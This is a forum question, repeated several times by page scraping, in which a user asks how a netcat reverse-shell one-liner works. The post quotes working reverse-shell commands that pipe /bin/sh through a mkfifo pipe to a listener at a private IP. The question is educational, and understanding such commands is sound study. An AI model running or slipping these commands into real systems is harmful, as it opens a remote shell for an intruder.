How does this command work? (reverse shell)












0















There was a simple way to connect two systems and getting a shell using nc command as below.




machine A to listen




nc -nlvp 4444



machine B to connect




nc 192.168.4.4 4444 -e /bin/bash


However the -e option is no more, The man pages recommends to follow as below to execute commands




machine A to listen




nc -nlvp 4444



machine B to connect




rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.4.4 4444 >/tmp/f


I do know the concepts behind mkfifo(unamed pipes) and how redirection and piping works. But it still confuses me.









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    0















    There was a simple way to connect two systems and getting a shell using nc command as below.




    machine A to listen




    nc -nlvp 4444



    machine B to connect




    nc 192.168.4.4 4444 -e /bin/bash


    However the -e option is no more, The man pages recommends to follow as below to execute commands




    machine A to listen




    nc -nlvp 4444



    machine B to connect




    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.4.4 4444 >/tmp/f


    I do know the concepts behind mkfifo(unamed pipes) and how redirection and piping works. But it still confuses me.









    share

























      0












      0








      0








      There was a simple way to connect two systems and getting a shell using nc command as below.




      machine A to listen




      nc -nlvp 4444



      machine B to connect




      nc 192.168.4.4 4444 -e /bin/bash


      However the -e option is no more, The man pages recommends to follow as below to execute commands




      machine A to listen




      nc -nlvp 4444



      machine B to connect




      rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.4.4 4444 >/tmp/f


      I do know the concepts behind mkfifo(unamed pipes) and how redirection and piping works. But it still confuses me.









      share














      There was a simple way to connect two systems and getting a shell using nc command as below.




      machine A to listen




      nc -nlvp 4444



      machine B to connect




      nc 192.168.4.4 4444 -e /bin/bash


      However the -e option is no more, The man pages recommends to follow as below to execute commands




      machine A to listen




      nc -nlvp 4444



      machine B to connect




      rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.4.4 4444 >/tmp/f


      I do know the concepts behind mkfifo(unamed pipes) and how redirection and piping works. But it still confuses me.







      command-line networking bash





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      asked 2 mins ago









      GoronGoron

      326




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